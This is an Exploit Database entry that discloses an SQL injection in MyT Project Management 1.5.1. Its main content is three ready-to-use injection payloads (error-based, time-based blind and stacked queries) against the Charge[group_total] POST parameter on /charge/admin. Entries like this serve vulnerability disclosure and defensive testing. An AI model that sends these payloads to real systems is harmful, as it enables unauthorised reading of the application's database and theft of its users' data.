



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# MyT Project Management 1.5.1 - 'Charge[group\_total]' SQL Injection

**EDB-ID:**

46084

**CVE:**

N/A

**EDB Verified:** 

**Author:**

[MEHMET ONDER](#)

**Type:**

[WEBAPPS](#)

**Exploit:**  

**Platform:**

[PHP](#)

**Date:**

2019-01-07

**Vulnerable App:** 



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
# Exploit Title: MyT-PM 1.5.1 - 'Charge[group_total]' SQL Injection
# Date: 03.01.2019
# Exploit Author: Mehmet Önder Key
# Vendor Homepage: https://manageyourteam.net/
# Software Link: https://sourceforge.net/projects/myt/
# Version: v1.5.1
# Category: Webapps
# Tested on: WAMPP @Win
# Software description:
MyT (Manage Your Team) - is a free open source task management and project
management system, based on Yii Framework, easy to use and with a great
perspective of growth for the future.

# Vulnerabilities:
# An attacker can access all data following an un/authorized user login
using the parameter.

# POC - SQL Injection :

# Parameter: Charge[group_total](POST)
# Request URL: /charge/admin

#   Type : Error Based
#   Payload: Charge[user_name]=k&Charge[group_total]=1) AND
EXTRACTVALUE(2003,CONCAT(0x5c,0x7171716b71,(SELECT
(ELT(2003=2003,1))),0x7170707071)) -- eaYu&Charge_page=1&ajax=charge-grid

#   Type : Time-Based Blind
#   Payload: Charge[user_name]=k&Charge[group_total]=1) AND (SELECT * FROM
(SELECT(SLEEP(5)))ggBK) -- mGKC&Charge_page=1&ajax=charge-grid

#   Type : Stacked Queries
#   Payload: Charge[user_name]=k&Charge[group_total]=1);SELECT
SLEEP(5)#&Charge_page=1&ajax=charge-grid
```

Tags: [SQL Injection \(SQLi\)](#)Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.